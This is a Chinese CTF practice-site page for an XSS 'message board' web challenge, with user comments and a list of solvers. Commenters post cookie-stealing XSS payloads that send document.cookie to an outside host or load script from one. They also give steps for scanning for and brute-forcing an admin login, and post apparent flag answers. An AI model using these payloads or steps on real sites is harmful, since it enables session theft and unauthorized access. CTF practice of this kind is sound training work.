留言板WEB 未解决

分数: 10 金币: 3
题目作者: harry
一　　血: ꧁༺༽༾ཊ彪ཏ༿༼༻꧂
一血奖励: 5金币
解　　决: 3275
提　　示: 题目无需登录后台！需要xss平台接收flag
描　　述:
http协议需要http协议的xss平台
...
登录回复
评论
lwq522725 2年前
举报

sCRiPt/SrC=//i0.al/Logugk>

回复 0
qixi 2年前
举报

直接放入xss平台地址留言就行了

回复 0
Jaylon 2年前
举报

来个xss平台

回复 0
popoh 2年前
举报

db.sql压根就没有

回复 6
songci 2年前
举报

flag{750d33e925f6dbf1784a1a924c237534}

回复 0
19881191586 2年前
举报

第一步：用御剑或dirsearch扫描后台，发现index.php和admin.php 第二步：用工具爆破admin的登录密码 第三步：进入admin页面，刷新页面，弹出提示，提示里面出现URL编码后的flag 第四步：URL解码

回复 3
treasure11 2年前
举报

....太难了

回复 0
mAns0nw0W 2年前
举报

flag{0d25978069e52fed99591c5c19ca0663}

回复 0
APTX4869ZRC 2年前
举报

BugKu真的很酷

回复 0
Warm2pPing 2年前
举报

提示：需要xss平台接收flag 那就是自己找一个XSS平台咯~ 然后开始注入 大概是平台地址加上 ？cookie=+document.cookie 没时间了自己拼接吧

回复 0
kanljk 2年前
举报

<svg onload="window.open('http://IP/'+document.cookie)">

回复 0

WriteUp

image
丶我亚索贼六

5 金币

立即查看

评分(18)

解题动态

mmbsklm 攻破了该题 15小时前
小马哥 攻破了该题 21小时前
爱喝畅汁 攻破了该题 1天前
GinYang 攻破了该题 5天前
onedayismyway 攻破了该题 6天前
17586557508 攻破了该题 7天前
wz666 攻破了该题 8天前
小张yh 攻破了该题 10天前
无情的白给机器人 攻破了该题 14天前
银海狼鲨 攻破了该题 14天前
w111 攻破了该题 15天前
权汁味 攻破了该题 16天前
yxrw 攻破了该题 16天前
Hack'1 攻破了该题 17天前
DamonLee 攻破了该题 18天前
mbw 攻破了该题 21天前
Knyhs 攻破了该题 26天前
Wu. 攻破了该题 26天前
十里故清云 攻破了该题 27天前
jiandandian 攻破了该题 1月前
问题反馈